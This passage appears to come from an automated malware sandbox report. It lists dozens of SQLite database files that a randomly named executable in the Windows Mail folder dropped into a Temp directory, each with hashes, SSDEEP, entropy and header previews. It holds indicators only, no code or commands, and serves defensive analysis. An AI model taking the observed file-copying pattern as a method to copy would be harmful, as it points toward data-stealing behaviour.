File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qyLMWYbsN3

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rAGBQE7qpr

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rB112NjDpL

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rSjPxeBBNu

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rU6cjEVk4B

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\s4nrjMbBpL

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\s6kGz9YuVk

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\s8Un5urNv5

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sFJw3YiNFS

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sTBpUSOBLl

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sjeMt9Ky4T

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\t8abEWXebb

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tUET7Lj44N

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tbRJaq6mXs

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\th7eDxXEXV

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tyySTZ7mGP

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u1lafblGoo

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uNLDf2fMGT

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uwjWoPIJEX

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vLLYx6HuvX

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vRlgRk9MhO

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vVDPEMxSbo

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vwhHlF1zNE

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wzft4OgLKG

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x0EBhFcOob

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
